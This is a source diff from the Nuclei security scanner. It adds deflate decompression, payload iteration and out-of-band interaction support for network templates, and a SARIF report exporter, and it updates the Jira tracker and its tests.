+		} else if !stringsutil.ContainsAny(err.Error(), "unexpected EOF") { // ignore EOF error
+			return errors.Wrap(err, "could not read http body")
+		}
 	}
 	resp.Body.Close()
 
@@ -339,7 +369,11 @@ func (r *Request) executeRequest(reqURL string, request *generatedRequest, previ
 	// encoding has been specified by the user in the request so in case we have to
 	// manually do it.
 	dataOrig := data
-	data, _ = handleDecompression(resp, data)
+	data, err = handleDecompression(resp, data)
+	// in case of error use original data
+	if err != nil {
+		data = dataOrig
+	}
 
 	// Dump response - step 2 - replace gzip body with deflated one or with itself (NOP operation)
 	dumpedResponseBuilder := &bytes.Buffer{}
@@ -372,6 +406,9 @@ func (r *Request) executeRequest(reqURL string, request *generatedRequest, previ
 	finalEvent := make(output.InternalEvent)
 
 	outputEvent := r.responseToDSLMap(resp, reqURL, matchedURL, tostring.UnsafeToString(dumpedRequest), tostring.UnsafeToString(dumpedResponse), tostring.UnsafeToString(data), headersToString(resp.Header), duration, request.meta)
+	if i := strings.LastIndex(hostname, ":"); i != -1 {
+		hostname = hostname[:i]
+	}
 	outputEvent["ip"] = httpclientpool.Dialer.GetDialedIP(hostname)
 	outputEvent["redirect-chain"] = tostring.UnsafeToString(redirectedResponse)
 	for k, v := range previous {
@@ -409,7 +446,11 @@ func (r *Request) setCustomHeaders(req *generatedRequest) {
 		if req.rawRequest != nil {
 			req.rawRequest.Headers[k] = v
 		} else {
-			req.request.Header.Set(strings.TrimSpace(k), strings.TrimSpace(v))
+			kk, vv := strings.TrimSpace(k), strings.TrimSpace(v)
+			req.request.Header.Set(kk, vv)
+			if kk == "Host" {
+				req.request.Host = vv
+			}
 		}
 	}
 }

v2/pkg/protocols/http/request_generator.go

@@ -1,6 +1,9 @@
 package http
 
-import "github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators"
+import (
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators"
+)
 
 // requestGenerator generates requests sequentially based on various
 // configurations for a http request template.
@@ -11,12 +14,13 @@ import "github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators"
 type requestGenerator struct {
 	currentIndex    int
 	request         *Request
+	options         *protocols.ExecuterOptions
 	payloadIterator *generators.Iterator
 }
 
 // newGenerator creates a new request generator instance
 func (r *Request) newGenerator() *requestGenerator {
-	generator := &requestGenerator{request: r}
+	generator := &requestGenerator{request: r, options: r.options}
 
 	if len(r.Payloads) > 0 {
 		generator.payloadIterator = r.generator.NewIterator()

v2/pkg/protocols/http/utils.go

@@ -3,6 +3,8 @@ package http
 import (
 	"bytes"
 	"compress/gzip"
+	"compress/zlib"
+	"io"
 	"io/ioutil"
 	"net/http"
 	"net/http/httputil"
@@ -100,19 +102,23 @@ func handleDecompression(resp *http.Response, bodyOrig []byte) (bodyDec []byte,
 		return bodyOrig, nil
 	}
 
-	encodingHeader := strings.TrimSpace(strings.ToLower(resp.Header.Get("Content-Encoding")))
-	if strings.Contains(encodingHeader, "gzip") {
-		gzipreader, err := gzip.NewReader(bytes.NewReader(bodyOrig))
-		if err != nil {
-			return bodyOrig, err
-		}
-		defer gzipreader.Close()
-
-		bodyDec, err = ioutil.ReadAll(gzipreader)
-		if err != nil {
-			return bodyOrig, err
-		}
-		return bodyDec, nil
+	var reader io.ReadCloser
+	switch resp.Header.Get("Content-Encoding") {
+	case "gzip":
+		reader, err = gzip.NewReader(bytes.NewReader(bodyOrig))
+	case "deflate":
+		reader, err = zlib.NewReader(bytes.NewReader(bodyOrig))
+	default:
+		return bodyOrig, nil
 	}
-	return bodyOrig, nil
+	if err != nil {
+		return nil, err
+	}
+	defer reader.Close()
+
+	bodyDec, err = ioutil.ReadAll(reader)
+	if err != nil {
+		return bodyOrig, err
+	}
+	return bodyDec, nil
 }

v2/pkg/protocols/network/network.go

@@ -9,6 +9,7 @@ import (
 	"github.com/projectdiscovery/nuclei/v2/pkg/operators"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/expressions"
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/network/networkclientpool"
 )
 
@@ -20,6 +21,12 @@ type Request struct {
 	Address   []string `yaml:"host"`
 	addresses []addressKV
 
+	// AttackType is the attack type
+	// Sniper, PitchFork and ClusterBomb. Default is Sniper
+	AttackType string `yaml:"attack"`
+	// Path contains the path/s for the request variables
+	Payloads map[string]interface{} `yaml:"payloads"`
+
 	// Payload is the payload to send for the network request
 	Inputs []*Input `yaml:"inputs"`
 	// ReadSize is the size of response to read (1024 if not provided by default)
@@ -29,6 +36,8 @@ type Request struct {
 	operators.Operators `yaml:",inline,omitempty"`
 	CompiledOperators   *operators.Operators
 
+	generator  *generators.Generator
+	attackType generators.Type
 	// cache any variables that may be needed for operation.
 	dialer  *fastdialer.Dialer
 	options *protocols.ExecuterOptions
@@ -62,6 +71,7 @@ func (r *Request) Compile(options *protocols.ExecuterOptions) error {
 	var shouldUseTLS bool
 	var err error
 
+	r.options = options
 	for _, address := range r.Address {
 		// check if the connection should be encrypted
 		if strings.HasPrefix(address, "tls://") {
@@ -88,6 +98,30 @@ func (r *Request) Compile(options *protocols.ExecuterOptions) error {
 		}
 	}
 
+	if len(r.Payloads) > 0 {
+		attackType := r.AttackType
+		if attackType == "" {
+			attackType = "sniper"
+		}
+		r.attackType = generators.StringToType[attackType]
+
+		// Resolve payload paths if they are files.
+		for name, payload := range r.Payloads {
+			payloadStr, ok := payload.(string)
+			if ok {
+				final, resolveErr := options.Catalog.ResolvePath(payloadStr, options.TemplatePath)
+				if resolveErr != nil {
+					return errors.Wrap(resolveErr, "could not read payload file")
+				}
+				r.Payloads[name] = final
+			}
+		}
+		r.generator, err = generators.New(r.Payloads, r.attackType, r.options.TemplatePath)
+		if err != nil {
+			return errors.Wrap(err, "could not parse payloads")
+		}
+	}
+
 	// Create a client for the class
 	client, err := networkclientpool.Get(options.Options, &networkclientpool.Configuration{})
 	if err != nil {
@@ -102,7 +136,6 @@ func (r *Request) Compile(options *protocols.ExecuterOptions) error {
 		}
 		r.CompiledOperators = compiled
 	}
-	r.options = options
 	return nil
 }
 

v2/pkg/protocols/network/networkclientpool/clientpool.go

@@ -1,8 +1,8 @@
 package networkclientpool
 
 import (
-	"github.com/pkg/errors"
 	"github.com/projectdiscovery/fastdialer/fastdialer"
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolstate"
 	"github.com/projectdiscovery/nuclei/v2/pkg/types"
 )
 
@@ -16,18 +16,7 @@ func Init(options *types.Options) error {
 	if normalClient != nil {
 		return nil
 	}
-	opts := fastdialer.DefaultOptions
-	if options.SystemResolvers {
-		opts.EnableFallback = true
-	}
-	if options.ResolversFile != "" {
-		opts.BaseResolvers = options.InternalResolversList
-	}
-	dialer, err := fastdialer.NewDialer(opts)
-	if err != nil {
-		return errors.Wrap(err, "could not create dialer")
-	}
-	normalClient = dialer
+	normalClient = protocolstate.Dialer
 	return nil
 }
 

v2/pkg/protocols/network/operators.go

@@ -73,6 +73,7 @@ func (r *Request) responseToDSLMap(req, resp, raw, host, matched string) output.
 	data["raw"] = raw   // Raw is the full transaction data for network
 	data["template-id"] = r.options.TemplateID
 	data["template-info"] = r.options.TemplateInfo
+	data["template-path"] = r.options.TemplatePath
 	return data
 }
 
@@ -107,11 +108,13 @@ func (r *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*outpu
 func (r *Request) makeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {
 	data := &output.ResultEvent{
 		TemplateID:       types.ToString(wrapped.InternalEvent["template-id"]),
+		TemplatePath:     types.ToString(wrapped.InternalEvent["template-path"]),
 		Info:             wrapped.InternalEvent["template-info"].(map[string]interface{}),
 		Type:             "network",
 		Host:             types.ToString(wrapped.InternalEvent["host"]),
 		Matched:          types.ToString(wrapped.InternalEvent["matched"]),
 		ExtractedResults: wrapped.OperatorsResult.OutputExtracts,
+		Metadata:         wrapped.OperatorsResult.PayloadValues,
 		Timestamp:        time.Now(),
 		IP:               types.ToString(wrapped.InternalEvent["ip"]),
 	}

v2/pkg/protocols/network/operators_test.go

@@ -32,7 +32,7 @@ func TestResponseToDSLMap(t *testing.T) {
 	req := "test-data\r\n"
 	resp := "resp-data\r\n"
 	event := request.responseToDSLMap(req, resp, "test", "one.one.one.one", "one.one.one.one")
-	require.Len(t, event, 7, "could not get correct number of items in dsl map")
+	require.Len(t, event, 8, "could not get correct number of items in dsl map")
 	require.Equal(t, resp, event["data"], "could not get correct resp")
 }
 

v2/pkg/protocols/network/request.go

@@ -13,6 +13,8 @@ import (
 	"github.com/projectdiscovery/gologger"
 	"github.com/projectdiscovery/nuclei/v2/pkg/output"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/expressions"
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/replacer"
 )
 
@@ -54,6 +56,28 @@ func (r *Request) executeAddress(actualAddress, address, input string, shouldUse
 		return err
 	}
 
+	if r.generator != nil {
+		iterator := r.generator.NewIterator()
+
+		for {
+			value, ok := iterator.Value()
+			if !ok {
+				break
+			}
+			if err := r.executeRequestWithPayloads(actualAddress, address, input, shouldUseTLS, value, previous, callback); err != nil {
+				return err
+			}
+		}
+	} else {
+		value := make(map[string]interface{})
+		if err := r.executeRequestWithPayloads(actualAddress, address, input, shouldUseTLS, value, previous, callback); err != nil {
+			return err
+		}
+	}
+	return nil
+}
+
+func (r *Request) executeRequestWithPayloads(actualAddress, address, input string, shouldUseTLS bool, payloads map[string]interface{}, previous output.InternalEvent, callback protocols.OutputEventCallback) error {
 	var (
 		hostname string
 		conn     net.Conn
@@ -77,6 +101,12 @@ func (r *Request) executeAddress(actualAddress, address, input string, shouldUse
 	defer conn.Close()
 	_ = conn.SetReadDeadline(time.Now().Add(time.Duration(r.options.Options.Timeout) * time.Second))
 
+	hasInteractMarkers := interactsh.HasMatchers(r.CompiledOperators)
+	var interactURL string
+	if r.options.Interactsh != nil && hasInteractMarkers {
+		interactURL = r.options.Interactsh.URL()
+	}
+
 	responseBuilder := &strings.Builder{}
 	reqBuilder := &strings.Builder{}
 
@@ -88,6 +118,9 @@ func (r *Request) executeAddress(actualAddress, address, input string, shouldUse
 		case "hex":
 			data, err = hex.DecodeString(input.Data)
 		default:
+			if interactURL != "" {
+				input.Data = r.options.Interactsh.ReplaceMarkers(input.Data, interactURL)
+			}
 			data = []byte(input.Data)
 		}
 		if err != nil {
@@ -96,9 +129,16 @@ func (r *Request) executeAddress(actualAddress, address, input string, shouldUse
 			return errors.Wrap(err, "could not write request to server")
 		}
 		reqBuilder.Grow(len(input.Data))
-		reqBuilder.WriteString(input.Data)
 
-		_, err = conn.Write(data)
+		finalData, dataErr := expressions.EvaluateByte(data, payloads)
+		if dataErr != nil {
+			r.options.Output.Request(r.options.TemplateID, address, "network", dataErr)
+			r.options.Progress.IncrementFailedRequestsBy(1)
+			return errors.Wrap(dataErr, "could not evaluate template expressions")
+		}
+		reqBuilder.Write(finalData)
+
+		_, err = conn.Write(finalData)
 		if err != nil {
 			r.options.Output.Request(r.options.TemplateID, address, "network", err)
 			r.options.Progress.IncrementFailedRequestsBy(1)
@@ -109,16 +149,27 @@ func (r *Request) executeAddress(actualAddress, address, input string, shouldUse
 			buffer := make([]byte, input.Read)
 			n, _ := conn.Read(buffer)
 			responseBuilder.Write(buffer[:n])
+
+			bufferStr := string(buffer[:n])
 			if input.Name != "" {
-				inputEvents[input.Name] = string(buffer[:n])
+				inputEvents[input.Name] = bufferStr
+			}
+
+			// Run any internal extractors for the request here and add found values to map.
+			if r.CompiledOperators != nil {
+				values := r.CompiledOperators.ExecuteInternalExtractors(map[string]interface{}{input.Name: bufferStr}, r.Extract)
+				for k, v := range values {
+					payloads[k] = v
+				}
 			}
 		}
 	}
 	r.options.Progress.IncrementRequests()
 
 	if r.options.Options.Debug || r.options.Options.DebugRequests {
+		requestOutput := reqBuilder.String()
 		gologger.Info().Str("address", actualAddress).Msgf("[%s] Dumped Network request for %s", r.options.TemplateID, actualAddress)
-		gologger.Print().Msgf("%s", reqBuilder.String())
+		gologger.Print().Msgf("%s\nHex: %s", requestOutput, hex.EncodeToString([]byte(requestOutput)))
 	}
 
 	r.options.Output.Request(r.options.TemplateID, actualAddress, "network", err)
@@ -137,27 +188,42 @@ func (r *Request) executeAddress(actualAddress, address, input string, shouldUse
 	responseBuilder.Write(final[:n])
 
 	if r.options.Options.Debug || r.options.Options.DebugResponse {
+		responseOutput := responseBuilder.String()
 		gologger.Debug().Msgf("[%s] Dumped Network response for %s", r.options.TemplateID, actualAddress)
-		gologger.Print().Msgf("%s", responseBuilder.String())
+		gologger.Print().Msgf("%s\nHex: %s", responseOutput, hex.EncodeToString([]byte(responseOutput)))
 	}
 	outputEvent := r.responseToDSLMap(reqBuilder.String(), string(final[:n]), responseBuilder.String(), input, actualAddress)
 	outputEvent["ip"] = r.dialer.GetDialedIP(hostname)
 	for k, v := range previous {
 		outputEvent[k] = v
 	}
+	for k, v := range payloads {
+		outputEvent[k] = v
+	}
 	for k, v := range inputEvents {
 		outputEvent[k] = v
 	}
 
 	event := &output.InternalWrappedEvent{InternalEvent: outputEvent}
-	if r.CompiledOperators != nil {
-		result, ok := r.CompiledOperators.Execute(outputEvent, r.Match, r.Extract)
-		if ok && result != nil {
-			event.OperatorsResult = result
-			event.Results = r.MakeResultEvent(event)
+	if interactURL == "" {
+		if r.CompiledOperators != nil {
+			result, ok := r.CompiledOperators.Execute(outputEvent, r.Match, r.Extract)
+			if ok && result != nil {
+				event.OperatorsResult = result
+				event.OperatorsResult.PayloadValues = payloads
+				event.Results = r.MakeResultEvent(event)
+			}
 		}
+		callback(event)
+	} else if r.options.Interactsh != nil {
+		r.options.Interactsh.RequestEvent(interactURL, &interactsh.RequestData{
+			MakeResultFunc: r.MakeResultEvent,
+			Event:          event,
+			Operators:      r.CompiledOperators,
+			MatchFunc:      r.Match,
+			ExtractFunc:    r.Extract,
+		})
 	}
-	callback(event)
 	return nil
 }
 

v2/pkg/protocols/offlinehttp/operators.go

@@ -101,6 +101,7 @@ func (r *Request) responseToDSLMap(resp *http.Response, host, matched, rawReq, r
 	data["duration"] = duration.Seconds()
 	data["template-id"] = r.options.TemplateID
 	data["template-info"] = r.options.TemplateInfo
+	data["template-path"] = r.options.TemplatePath
 	return data
 }
 
@@ -135,6 +136,7 @@ func (r *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*outpu
 func (r *Request) makeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {
 	data := &output.ResultEvent{
 		TemplateID:       types.ToString(wrapped.InternalEvent["template-id"]),
+		TemplatePath:     types.ToString(wrapped.InternalEvent["template-path"]),
 		Info:             wrapped.InternalEvent["template-info"].(map[string]interface{}),
 		Type:             "http",
 		Path:             types.ToString(wrapped.InternalEvent["path"]),

v2/pkg/protocols/offlinehttp/operators_test.go

@@ -34,7 +34,7 @@ func TestResponseToDSLMap(t *testing.T) {
 	matched := "http://example.com/test/?test=1"
 
 	event := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})
-	require.Len(t, event, 12, "could not get correct number of items in dsl map")
+	require.Len(t, event, 13, "could not get correct number of items in dsl map")
 	require.Equal(t, exampleRawResponse, event["response"], "could not get correct resp")
 	require.Equal(t, "Test-Response", event["test"], "could not get correct resp for header")
 }
@@ -60,7 +60,7 @@ func TestHTTPOperatorMatch(t *testing.T) {
 	matched := "http://example.com/test/?test=1"
 
 	event := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})
-	require.Len(t, event, 12, "could not get correct number of items in dsl map")
+	require.Len(t, event, 13, "could not get correct number of items in dsl map")
 	require.Equal(t, exampleRawResponse, event["response"], "could not get correct resp")
 	require.Equal(t, "Test-Response", event["test"], "could not get correct resp for header")
 
@@ -126,7 +126,7 @@ func TestHTTPOperatorExtract(t *testing.T) {
 	matched := "http://example.com/test/?test=1"
 
 	event := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})
-	require.Len(t, event, 12, "could not get correct number of items in dsl map")
+	require.Len(t, event, 13, "could not get correct number of items in dsl map")
 	require.Equal(t, exampleRawResponse, event["response"], "could not get correct resp")
 	require.Equal(t, "Test-Response", event["test-header"], "could not get correct resp for header")
 
@@ -191,7 +191,7 @@ func TestHTTPMakeResult(t *testing.T) {
 	matched := "http://example.com/test/?test=1"
 
 	event := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})
-	require.Len(t, event, 12, "could not get correct number of items in dsl map")
+	require.Len(t, event, 13, "could not get correct number of items in dsl map")
 	require.Equal(t, exampleRawResponse, event["response"], "could not get correct resp")
 	require.Equal(t, "Test-Response", event["test"], "could not get correct resp for header")
 

v2/pkg/protocols/protocols.go

@@ -8,6 +8,7 @@ import (
 	"github.com/projectdiscovery/nuclei/v2/pkg/output"
 	"github.com/projectdiscovery/nuclei/v2/pkg/progress"
 	"github.com/projectdiscovery/nuclei/v2/pkg/projectfile"
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/headless/engine"
 	"github.com/projectdiscovery/nuclei/v2/pkg/reporting"
 	"github.com/projectdiscovery/nuclei/v2/pkg/types"
@@ -50,6 +51,8 @@ type ExecuterOptions struct {
 	ProjectFile *projectfile.ProjectFile
 	// Browser is a browser engine for running headless templates
 	Browser *engine.Browser
+	// Interactsh is a client for interactsh oob polling server
+	Interactsh *interactsh.Client
 
 	Operators []*operators.Operators // only used by offlinehttp module
 }

v2/pkg/reporting/exporters/disk/disk.go

@@ -58,3 +58,8 @@ func (i *Exporter) Export(event *output.ResultEvent) error {
 	err := ioutil.WriteFile(path.Join(i.directory, finalFilename), data, 0644)
 	return err
 }
+
+// Close closes the exporter after operation
+func (i *Exporter) Close() error {
+	return nil
+}

v2/pkg/reporting/exporters/sarif/sarif.go

@@ -0,0 +1,143 @@
+package sarif
+
+import (
+	"crypto/sha1"
+	"encoding/hex"
+	"os"
+	"path"
+	"strings"
+	"sync"
+
+	"github.com/owenrumney/go-sarif/sarif"
+	"github.com/pkg/errors"
+	"github.com/projectdiscovery/nuclei/v2/pkg/output"
+	"github.com/projectdiscovery/nuclei/v2/pkg/reporting/format"
+)
+
+// Exporter is an exporter for nuclei sarif output format.
+type Exporter struct {
+	sarif *sarif.Report
+	run   *sarif.Run
+	mutex *sync.Mutex
+
+	home    string
+	options *Options
+}
+
+// Options contains the configuration options for sarif exporter client
+type Options struct {
+	// File is the file to export found sarif result to
+	File string `yaml:"file"`
+}
+
+// New creates a new disk exporter integration client based on options.
+func New(options *Options) (*Exporter, error) {
+	report, err := sarif.New(sarif.Version210)
+	if err != nil {
+		return nil, errors.Wrap(err, "could not create sarif exporter")
+	}
+
+	home, err := os.UserHomeDir()
+	if err != nil {
+		return nil, errors.Wrap(err, "could not get home dir")
+	}
+	templatePath := path.Join(home, "nuclei-templates")
+
+	run := sarif.NewRun("nuclei", "https://github.com/projectdiscovery/nuclei")
+	return &Exporter{options: options, home: templatePath, sarif: report, run: run, mutex: &sync.Mutex{}}, nil
+}
+
+// Export exports a passed result event to sarif structure
+func (i *Exporter) Export(event *output.ResultEvent) error {
+	templatePath := strings.TrimPrefix(event.TemplatePath, i.home)
+
+	h := sha1.New()
+	h.Write([]byte(event.Host))
+	templateID := event.TemplateID + "-" + hex.EncodeToString(h.Sum(nil))
+
+	fullDescription := format.MarkdownDescription(event)
+	sarifSeverity := getSarifSeverity(event)
+
+	var ruleName string
+	if s, ok := event.Info["name"]; ok {
+		ruleName = s.(string)
+	}
+
+	var templateURL string
+	if strings.HasPrefix(event.TemplatePath, i.home) {
+		templateURL = "https://github.com/projectdiscovery/nuclei-templates/blob/master" + templatePath
+	} else {
+		templateURL = "https://github.com/projectdiscovery/nuclei-templates"
+	}
+
+	var ruleDescription string
+	if d, ok := event.Info["description"]; ok {
+		ruleDescription = d.(string)
+	}
+
+	i.mutex.Lock()
+	defer i.mutex.Unlock()
+
+	_ = i.run.AddRule(templateID).
+		WithDescription(ruleName).
+		WithHelp(fullDescription).
+		WithHelpURI(templateURL).
+		WithFullDescription(sarif.NewMultiformatMessageString(ruleDescription))
+	result := i.run.AddResult(templateID).
+		WithMessage(sarif.NewMessage().WithText(event.Host)).
+		WithLevel(sarifSeverity)
+
+		// Also write file match metadata to file
+	if event.Type == "file" && (event.FileToIndexPosition != nil && len(event.FileToIndexPosition) > 0) {
+		for file, line := range event.FileToIndexPosition {
+			result.WithLocation(sarif.NewLocation().WithMessage(sarif.NewMessage().WithText(ruleName)).WithPhysicalLocation(
+				sarif.NewPhysicalLocation().
+					WithArtifactLocation(sarif.NewArtifactLocation().WithUri(file)).
+					WithRegion(sarif.NewRegion().WithStartColumn(1).WithStartLine(line).WithEndLine(line).WithEndColumn(32)),
+			))
+		}
+	} else {
+		result.WithLocation(sarif.NewLocation().WithMessage(sarif.NewMessage().WithText(event.Host)).WithPhysicalLocation(
+			sarif.NewPhysicalLocation().
+				WithArtifactLocation(sarif.NewArtifactLocation().WithUri("README.md")).
+				WithRegion(sarif.NewRegion().WithStartColumn(1).WithStartLine(1).WithEndLine(1).WithEndColumn(1)),
+		))
+	}
+	return nil
+}
+
+// getSarifSeverity returns the sarif severity
+func getSarifSeverity(event *output.ResultEvent) string {
+	var ruleSeverity string
+	if s, ok := event.Info["severity"]; ok {
+		ruleSeverity = s.(string)
+	}
+
+	switch ruleSeverity {
+	case "info":
+		return "note"
+	case "low", "medium":
+		return "warning"
+	case "high", "critical":
+		return "error"
+	default:
+		return "note"
+	}
+}
+
+// Close closes the exporter after operation
+func (i *Exporter) Close() error {
+	i.mutex.Lock()
+	defer i.mutex.Unlock()
+
+	i.sarif.AddRun(i.run)
+	if len(i.run.Results) == 0 {
+		return nil // do not write when no results
+	}
+	file, err := os.Create(i.options.File)
+	if err != nil {
+		return errors.Wrap(err, "could not create sarif output file")
+	}
+	defer file.Close()
+	return i.sarif.Write(file)
+}

v2/pkg/reporting/format/format.go

@@ -44,6 +44,9 @@ func MarkdownDescription(event *output.ResultEvent) string {
 	builder.WriteString(event.Timestamp.Format("Mon Jan 2 15:04:05 -0700 MST 2006"))
 	builder.WriteString("\n\n**Template Information**\n\n| Key | Value |\n|---|---|\n")
 	for k, v := range event.Info {
+		if k == "reference" {
+			continue
+		}
 		builder.WriteString(fmt.Sprintf("| %s | %s |\n", k, v))
 	}
 	if event.Request != "" {
@@ -60,11 +63,11 @@ func MarkdownDescription(event *output.ResultEvent) string {
 		} else {
 			builder.WriteString(event.Response)
 		}
-		builder.WriteString("\n```\n\n")
+		builder.WriteString("\n```\n")
 	}
 
 	if len(event.ExtractedResults) > 0 || len(event.Metadata) > 0 {
-		builder.WriteString("**Extra Information**\n\n")
+		builder.WriteString("\n**Extra Information**\n\n")
 		if len(event.ExtractedResults) > 0 {
 			builder.WriteString("**Extracted results**:\n\n")
 			for _, v := range event.ExtractedResults {
@@ -86,6 +89,51 @@ func MarkdownDescription(event *output.ResultEvent) string {
 			builder.WriteString("\n")
 		}
 	}
+	if event.Interaction != nil {
+		builder.WriteString("**Interaction Data**\n---\n")
+		builder.WriteString(event.Interaction.Protocol)
+		if event.Interaction.QType != "" {
+			builder.WriteString(" (")
+			builder.WriteString(event.Interaction.QType)
+			builder.WriteString(")")
+		}
+		builder.WriteString(" Interaction from ")
+		builder.WriteString(event.Interaction.RemoteAddress)
+		builder.WriteString(" at ")
+		builder.WriteString(event.Interaction.UniqueID)
+
+		if event.Interaction.RawRequest != "" {
+			builder.WriteString("\n\n**Interaction Request**\n\n```\n")
+			builder.WriteString(event.Interaction.RawRequest)
+			builder.WriteString("\n```\n")
+		}
+		if event.Interaction.RawResponse != "" {
+			builder.WriteString("\n**Interaction Response**\n\n```\n")
+			builder.WriteString(event.Interaction.RawResponse)
+			builder.WriteString("\n```\n")
+		}
+	}
+	if d, ok := event.Info["reference"]; ok {
+		builder.WriteString("\nReference: \n")
+
+		switch v := d.(type) {
+		case string:
+			if !strings.HasPrefix(v, "-") {
+				builder.WriteString("- ")
+			}
+			builder.WriteString(v)
+		case []interface{}:
+			slice := types.ToStringSlice(v)
+			for i, item := range slice {
+				builder.WriteString("- ")
+				builder.WriteString(item)
+				if len(slice)-1 != i {
+					builder.WriteString("\n")
+				}
+			}
+		}
+	}
+
 	builder.WriteString("\n---\nGenerated by [Nuclei](https://github.com/projectdiscovery/nuclei)")
 	data := builder.String()
 	return data

v2/pkg/reporting/reporting.go

@@ -7,6 +7,7 @@ import (
 	"github.com/projectdiscovery/nuclei/v2/pkg/output"
 	"github.com/projectdiscovery/nuclei/v2/pkg/reporting/dedupe"
 	"github.com/projectdiscovery/nuclei/v2/pkg/reporting/exporters/disk"
+	"github.com/projectdiscovery/nuclei/v2/pkg/reporting/exporters/sarif"
 	"github.com/projectdiscovery/nuclei/v2/pkg/reporting/trackers/github"
 	"github.com/projectdiscovery/nuclei/v2/pkg/reporting/trackers/gitlab"
 	"github.com/projectdiscovery/nuclei/v2/pkg/reporting/trackers/jira"
@@ -28,6 +29,8 @@ type Options struct {
 	Jira *jira.Options `yaml:"jira"`
 	// DiskExporter contains configuration options for Disk Exporter Module
 	DiskExporter *disk.Options `yaml:"disk"`
+	// SarifExporter contains configuration options for Sarif Exporter Module
+	SarifExporter *sarif.Options `yaml:"sarif"`
 }
 
 // Filter filters the received event and decides whether to perform
@@ -79,6 +82,8 @@ type Tracker interface {
 
 // Exporter is an interface implemented by an issue exporter
 type Exporter interface {
+	// Close closes the exporter after operation
+	Close() error
 	// Export exports an issue to an exporter
 	Export(event *output.ResultEvent) error
 }
@@ -93,6 +98,10 @@ type Client struct {
 
 // New creates a new nuclei issue tracker reporting client
 func New(options *Options, db string) (*Client, error) {
+	if options == nil {
+		return nil, errors.New("no options passed")
+	}
+
 	if options.AllowList != nil {
 		options.AllowList.Compile()
 	}
@@ -129,6 +138,14 @@ func New(options *Options, db string) (*Client, error) {
 		}
 		client.exporters = append(client.exporters, exporter)
 	}
+	if options.SarifExporter != nil {
+		exporter, err := sarif.New(options.SarifExporter)
+		if err != nil {
+			return nil, errors.Wrap(err, "could not create exporting client")
+		}
+		client.exporters = append(client.exporters, exporter)
+	}
+
 	storage, err := dedupe.New(db)
 	if err != nil {
 		return nil, err
@@ -137,9 +154,22 @@ func New(options *Options, db string) (*Client, error) {
 	return client, nil
 }
 
+// RegisterTracker registers a custom tracker to the reporter
+func (c *Client) RegisterTracker(tracker Tracker) {
+	c.trackers = append(c.trackers, tracker)
+}
+
+// RegisterExporter registers a custom exporter to the reporter
+func (c *Client) RegisterExporter(exporter Exporter) {
+	c.exporters = append(c.exporters, exporter)
+}
+
 // Close closes the issue tracker reporting client
 func (c *Client) Close() {
 	c.dedupe.Close()
+	for _, exporter := range c.exporters {
+		exporter.Close()
+	}
 }
 
 // CreateIssue creates an issue in the tracker

v2/pkg/reporting/trackers/jira/jira.go

@@ -20,6 +20,8 @@ type Integration struct {
 
 // Options contains the configuration options for jira client
 type Options struct {
+	// Cloud value is set to true when Jira cloud is used
+	Cloud bool `yaml:"cloud"`
 	// URL is the URL of the jira server
 	URL string `yaml:"url"`
 	// AccountID is the accountID of the jira user.
@@ -36,8 +38,12 @@ type Options struct {
 
 // New creates a new issue tracker integration client based on options.
 func New(options *Options) (*Integration, error) {
+	username := options.Email
+	if !options.Cloud {
+		username = options.AccountID
+	}
 	tp := jira.BasicAuthTransport{
-		Username: options.Email,
+		Username: username,
 		Password: options.Token,
 	}
 	jiraClient, err := jira.NewClient(tp.Client(), options.URL)
@@ -51,15 +57,27 @@ func New(options *Options) (*Integration, error) {
 func (i *Integration) CreateIssue(event *output.ResultEvent) error {
 	summary := format.Summary(event)
 
-	issueData := &jira.Issue{
-		Fields: &jira.IssueFields{
-			Assignee:    &jira.User{AccountID: i.options.AccountID},
-			Reporter:    &jira.User{AccountID: i.options.AccountID},
+	fields := &jira.IssueFields{
+		Assignee:    &jira.User{AccountID: i.options.AccountID},
+		Reporter:    &jira.User{AccountID: i.options.AccountID},
+		Description: jiraFormatDescription(event),
+		Type:        jira.IssueType{Name: i.options.IssueType},
+		Project:     jira.Project{Key: i.options.ProjectName},
+		Summary:     summary,
+	}
+	// On-prem version of Jira server does not use AccountID
+	if !i.options.Cloud {
+		fields = &jira.IssueFields{
+			Assignee:    &jira.User{Name: i.options.AccountID},
 			Description: jiraFormatDescription(event),
 			Type:        jira.IssueType{Name: i.options.IssueType},
 			Project:     jira.Project{Key: i.options.ProjectName},
 			Summary:     summary,
-		},
+		}
+	}
+
+	issueData := &jira.Issue{
+		Fields: fields,
 	}
 	_, resp, err := i.jira.Issue.Create(issueData)
 	if err != nil {
@@ -92,6 +110,9 @@ func jiraFormatDescription(event *output.ResultEvent) string {
 	builder.WriteString(event.Timestamp.Format("Mon Jan 2 15:04:05 -0700 MST 2006"))
 	builder.WriteString("\n\n*Template Information*\n\n| Key | Value |\n")
 	for k, v := range event.Info {
+		if k == "reference" {
+			continue
+		}
 		builder.WriteString(fmt.Sprintf("| %s | %s |\n", k, v))
